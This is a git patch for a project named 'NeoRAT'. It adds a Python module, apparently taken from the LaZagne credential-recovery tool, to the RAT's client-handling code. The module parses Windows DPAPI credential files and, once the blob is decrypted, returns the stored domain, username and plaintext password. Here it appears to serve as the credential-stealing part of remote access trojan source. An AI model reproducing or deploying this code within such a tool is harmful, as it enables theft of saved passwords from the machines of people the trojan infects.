From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/config/DPAPI/credfile.py | 108 +++++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/DPAPI/credfile.py (limited to 'foreign/client_handling/lazagne/config/DPAPI/credfile.py') diff --git a/foreign/client_handling/lazagne/config/DPAPI/credfile.py b/foreign/client_handling/lazagne/config/DPAPI/credfile.py new file mode 100644 index 0000000..98bda22 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/credfile.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .blob import DPAPIBlob +from .eater import DataStruct + + +class CredentialDecryptedHeader(DataStruct): + """ + Header of the structure returned once the blob has been decrypted + Header of the CredentialDecrypted class + """ + def __init__(self, raw=None): + self.total_size = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + self.last_update = None + self.unknown4 = None + self.unk_type = None + self.unk_blocks = None + self.unknown5 = None + self.unknown6 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.total_size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + self.last_update = data.eat("Q") + self.unknown4 = data.eat("L") + self.unk_type = data.eat("L") + self.unk_blocks = data.eat("L") + self.unknown5 = data.eat("L") + self.unknown6 = data.eat("L") + + +class CredentialDecrypted(DataStruct): + """ + Structure returned once the blob has been decrypted + """ + def __init__(self, raw=None): + self.header_size = None + self.header = None + self.domain = None + self.unk_string1 = None + self.unk_string2 = None + self.unk_string3 = None + self.username = None + self.password = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.header_size = data.eat("L") + if self.header_size > 0: + self.header = CredentialDecryptedHeader() + self.header.parse(data.eat_sub(self.header_size - 4)) + self.domain = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string1 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string2 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string3 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.username = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.password = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + + +class CredFile(DataStruct): + """ + Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\... + """ + def __init__(self, raw=None): + self.unknown1 = None + self.blob_size = None + self.unknown2 = None + self.blob = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.unknown1 = data.eat("L") + self.blob_size = data.eat("L") + self.unknown2 = data.eat("L") + if self.blob_size > 0: + self.blob = DPAPIBlob() + self.blob.parse(data.eat_sub(self.blob_size)) + + def decrypt(self, mkp, credfile): + ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp) + if ok: + cred_dec = CredentialDecrypted(msg) + if cred_dec.header.unk_type == 3: + return True, { + 'File': credfile, + 'Domain': cred_dec.domain, + 'Username': cred_dec.username, + 'Password': cred_dec.password, + } + elif cred_dec.header.unk_type == 2: + return False, 'System credential type' + else: + return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec) + else: + return ok, msg -- cgit v1.2.3